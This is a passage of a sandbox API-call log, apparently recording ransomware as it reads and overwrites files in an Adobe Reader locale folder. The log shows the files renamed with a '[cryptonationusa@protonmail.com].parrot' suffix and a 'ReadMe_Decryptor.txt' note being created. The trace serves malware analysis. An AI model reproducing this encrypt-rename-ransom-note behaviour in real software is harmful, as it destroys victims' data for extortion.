[0250.424] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0250.424] ReadFile (in: hFile=0x1b0, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0250.426] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0250.426] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x3c00, lpOverlapped=0x0) returned 1 [0250.428] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0250.428] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0250.428] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x23) returned 0x606cd8 [0250.428] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x606968 [0250.428] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x605320 [0250.428] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120c) returned 0x226c068 [0250.428] GetLastError () returned 0x0 [0250.428] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0250.429] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0250.429] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0250.429] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0250.429] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3) returned 0x5d4c80 [0250.429] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4bb0 | out: hHeap=0x5b0000) returned 1 [0250.429] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4bb0 [0250.429] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0250.429] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6) returned 0x5d4c80 [0250.429] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4bb0 | out: hHeap=0x5b0000) returned 1 [0250.429] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x9) returned 0x606968 [0250.429] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0250.429] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd) returned 0x606848 [0250.429] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606968 | out: hHeap=0x5b0000) returned 1 [0250.429] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13) returned 0x604280 [0250.430] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606848 | out: hHeap=0x5b0000) returned 1 [0250.430] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c) returned 0x60d5d8 [0250.430] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x604280 | out: hHeap=0x5b0000) returned 1 [0250.430] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2a) returned 0x605320 [0250.430] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d5d8 | out: hHeap=0x5b0000) returned 1 [0250.430] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3f) returned 0x5d51f8 [0250.430] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605320 | out: hHeap=0x5b0000) returned 1 [0250.430] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x5e) returned 0x60baf8 [0250.430] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d51f8 | out: hHeap=0x5b0000) returned 1 [0250.430] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8d) returned 0x315d788 [0250.430] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60baf8 | out: hHeap=0x5b0000) returned 1 [0250.430] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd3) returned 0x2262060 [0250.430] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x315d788 | out: hHeap=0x5b0000) returned 1 [0250.431] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13c) returned 0x22e9cb0 [0250.431] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2262060 | out: hHeap=0x5b0000) returned 1 [0250.431] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1da) returned 0x6a5268 [0250.431] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22e9cb0 | out: hHeap=0x5b0000) returned 1 [0250.431] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c7) returned 0x319e470 [0250.431] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a5268 | out: hHeap=0x5b0000) returned 1 [0250.431] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x42a) returned 0x3150060 [0250.431] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x319e470 | out: hHeap=0x5b0000) returned 1 [0250.432] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x63f) returned 0x31ce4c8 [0250.432] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3150060 | out: hHeap=0x5b0000) returned 1 [0250.432] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x95e) returned 0x22fe0c8 [0250.432] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31ce4c8 | out: hHeap=0x5b0000) returned 1 [0250.433] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xe0d) returned 0x31ac478 [0250.433] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22fe0c8 | out: hHeap=0x5b0000) returned 1 [0250.433] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1536) returned 0x31fe550 [0250.433] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31ac478 | out: hHeap=0x5b0000) returned 1 [0250.434] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1fbf) returned 0x639220 [0250.434] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31fe550 | out: hHeap=0x5b0000) returned 1 [0250.434] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2f8d) returned 0x32a2588 [0250.434] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x639220 | out: hHeap=0x5b0000) returned 1 [0250.434] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4742) returned 0x32a5520 [0250.434] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x32a2588 | out: hHeap=0x5b0000) returned 1 [0250.434] WriteFile (in: hFile=0x1b0, lpBuffer=0x32a5540*, nNumberOfBytesToWrite=0x3d28, lpNumberOfBytesWritten=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x32a5540*, lpNumberOfBytesWritten=0x18e8f4*=0x3d28, lpOverlapped=0x0) returned 1 [0250.437] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x32a5520 | out: hHeap=0x5b0000) returned 1 [0250.437] UnlockFile (hFile=0x1b0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x3d18, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0250.437] CloseHandle (hObject=0x1b0) returned 1 [0250.437] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa0) returned 0x3275a58 [0250.437] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xf0) returned 0x32d9e90 [0250.437] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3275a58 | out: hHeap=0x5b0000) returned 1 [0250.437] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\SendMail.CZE" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\cs_cz\\sendmail.cze"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\SendMail.CZE.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\cs_cz\\sendmail.cze.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0250.438] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x32d9e90 | out: hHeap=0x5b0000) returned 1 [0250.438] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31f64d0 | out: hHeap=0x5b0000) returned 1 [0250.438] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x329e548 | out: hHeap=0x5b0000) returned 1 [0250.438] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x80) returned 0x31fcff8 [0250.438] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xb0) returned 0x3279e80 [0250.438] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4c80 [0250.439] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4bb0 [0250.440] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\Services\\*", fInfoLevelId=0x0, lpFindFileData=0x18e6bc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e6bc) returned 0x600550 [0250.441] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0250.441] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f971c0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81fe3480, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81fe3480, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0250.441] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0250.441] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0250.441] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81fe3480, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x9342, dwReserved0=0x0, dwReserved1=0x0, cFileName="DEXShare.asfx", cAlternateFileName="DEXSHA~1.ASF")) returned 1 [0250.441] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x60d5d8 [0250.441] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d5d8 | out: hHeap=0x5b0000) returned 1 [0250.443] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0250.443] ReadFile (in: hFile=0x288, lpBuffer=0x18e660, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x18e660*, lpNumberOfBytesRead=0x18e604*=0x18, lpOverlapped=0x0) returned 1 [0250.445] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0250.445] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x9342, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e604*=0x9342, lpOverlapped=0x0) returned 1 [0250.447] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0250.447] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0250.447] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x23) returned 0x606cd8 [0250.447] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x606848 [0250.447] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x605320 [0250.447] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120c) returned 0x226c068 [0250.447] GetLastError () returned 0x0 [0250.448] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0250.448] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0250.448] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0250.448] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0250.448] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3) returned 0x5d4c80 [0250.448] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4bb0 | out: hHeap=0x5b0000) returned 1 [0250.448] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4bb0 [0250.448] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0250.448] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6) returned 0x5d4c80 [0250.448] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4bb0 | out: hHeap=0x5b0000) returned 1 [0250.448] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x9) returned 0x606848 [0250.448] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0250.448] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd) returned 0x606968 [0250.448] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606848 | out: hHeap=0x5b0000) returned 1 [0250.448] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13) returned 0x604280 [0250.448] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606968 | out: hHeap=0x5b0000) returned 1 [0250.448] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c) returned 0x60d5d8 [0250.448] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x604280 | out: hHeap=0x5b0000) returned 1 [0250.448] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2a) returned 0x605320 [0250.448] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d5d8 | out: hHeap=0x5b0000) returned 1 [0250.448] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3f) returned 0x5d51f8 [0250.448] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605320 | out: hHeap=0x5b0000) returned 1 [0250.448] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x5e) returned 0x60baf8 [0250.448] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d51f8 | out: hHeap=0x5b0000) returned 1 [0250.448] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8d) returned 0x3277be8 [0250.449] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60baf8 | out: hHeap=0x5b0000) returned 1 [0250.449] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd3) returned 0x2262060 [0250.449] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3277be8 | out: hHeap=0x5b0000) returned 1 [0250.449] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13c) returned 0x22e9cb0 [0250.449] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2262060 | out: hHeap=0x5b0000) returned 1 [0250.449] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1da) returned 0x6a5268 [0250.449] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22e9cb0 | out: hHeap=0x5b0000) returned 1 [0250.449] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c7) returned 0x319e470 [0250.449] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a5268 | out: hHeap=0x5b0000) returned 1 [0250.449] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x42a) returned 0x3150060 [0250.449] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x319e470 | out: hHeap=0x5b0000) returned 1 [0250.449] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x63f) returned 0x31ce4c8 [0250.449] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3150060 | out: hHeap=0x5b0000) returned 1 [0250.449] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x95e) returned 0x22fe0c8 [0250.449] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31ce4c8 | out: hHeap=0x5b0000) returned 1 [0250.449] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xe0d) returned 0x31ac478 [0250.449] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22fe0c8 | out: hHeap=0x5b0000) returned 1 [0250.449] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1536) returned 0x31fe550 [0250.449] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31ac478 | out: hHeap=0x5b0000) returned 1 [0250.449] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1fbf) returned 0x639220 [0250.449] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31fe550 | out: hHeap=0x5b0000) returned 1 [0250.449] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2f8d) returned 0x32ca610 [0250.449] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x639220 | out: hHeap=0x5b0000) returned 1 [0250.449] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4742) returned 0x32cd5a8 [0250.450] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x32ca610 | out: hHeap=0x5b0000) returned 1 [0250.450] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6ad1) returned 0x32ae550 [0250.450] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x32cd5a8 | out: hHeap=0x5b0000) returned 1 [0250.450] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa028) returned 0x32ca610 [0250.450] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x32ae550 | out: hHeap=0x5b0000) returned 1 [0250.450] WriteFile (in: hFile=0x288, lpBuffer=0x32ca620*, nNumberOfBytesToWrite=0x9468, lpNumberOfBytesWritten=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x32ca620*, lpNumberOfBytesWritten=0x18e604*=0x9468, lpOverlapped=0x0) returned 1 [0250.453] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x32ca610 | out: hHeap=0x5b0000) returned 1 [0250.453] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x945a, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0250.453] CloseHandle (hObject=0x288) returned 1 [0250.453] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xb0) returned 0x3279e80 [0250.453] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x106) returned 0x22f7550 [0250.453] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3279e80 | out: hHeap=0x5b0000) returned 1 [0250.453] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\Services\\DEXShare.asfx" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\cs_cz\\services\\dexshare.asfx"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\Services\\DEXShare.asfx.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\cs_cz\\services\\dexshare.asfx.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0250.454] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22f7550 | out: hHeap=0x5b0000) returned 1 [0250.454] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31f64d0 | out: hHeap=0x5b0000) returned 1 [0250.454] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x32ba5d0 | out: hHeap=0x5b0000) returned 1 [0250.454] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x90) returned 0x3277be8 [0250.454] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc0) returned 0x3273f20 [0250.455] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4c80 [0250.455] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4bb0 [0250.455] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\Services\\ReadMe_Decryptor.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\cs_cz\\services\\readme_decryptor.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18e3f8, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x288 [0250.458] GetFileType (hFile=0x288) returned 0x1 [0250.458] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1000) returned 0x3178470 [0250.468] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0250.515] ReadFile (in: hFile=0x288, lpBuffer=0x18e660, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x18e660*, lpNumberOfBytesRead=0x18e604*=0x18, lpOverlapped=0x0) returned 1 [0250.517] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0250.517] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xe5, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e604*=0xe5, lpOverlapped=0x0) returned 1 [0250.517] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0250.517] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0250.517] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x23) returned 0x606cd8 [0250.517] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x606968 [0250.517] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x605320 [0250.517] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120c) returned 0x226c068 [0250.517] GetLastError () returned 0x0 [0250.518] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0250.518] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0250.518] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0250.518] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0250.518] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3) returned 0x5d4c80 [0250.518] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4bb0 | out: hHeap=0x5b0000) returned 1 [0250.518] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4bb0 [0250.518] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0250.518] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6) returned 0x5d4c80 [0250.518] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4bb0 | out: hHeap=0x5b0000) returned 1 [0250.518] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x9) returned 0x606968 [0250.518] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0250.518] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd) returned 0x606848 [0250.518] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606968 | out: hHeap=0x5b0000) returned 1 [0250.518] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13) returned 0x604280 [0250.518] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606848 | out: hHeap=0x5b0000) returned 1 [0250.518] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c) returned 0x60d5d8 [0250.518] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x604280 | out: hHeap=0x5b0000) returned 1 [0250.518] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2a) returned 0x605320 [0250.518] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d5d8 | out: hHeap=0x5b0000) returned 1 [0250.519] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3f) returned 0x5d51f8 [0250.519] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605320 | out: hHeap=0x5b0000) returned 1 [0250.519] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x5e) returned 0x60baf8 [0250.519] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d51f8 | out: hHeap=0x5b0000) returned 1 [0250.519] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8d) returned 0x3277be8 [0250.519] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60baf8 | out: hHeap=0x5b0000) returned 1 [0250.519] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd3) returned 0x2262060 [0250.519] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3277be8 | out: hHeap=0x5b0000) returned 1 [0250.519] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13c) returned 0x22e9cb0 [0250.519] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2262060 | out: hHeap=0x5b0000) returned 1 [0250.519] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x208) returned 0x615228 [0250.519] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22e9cb0 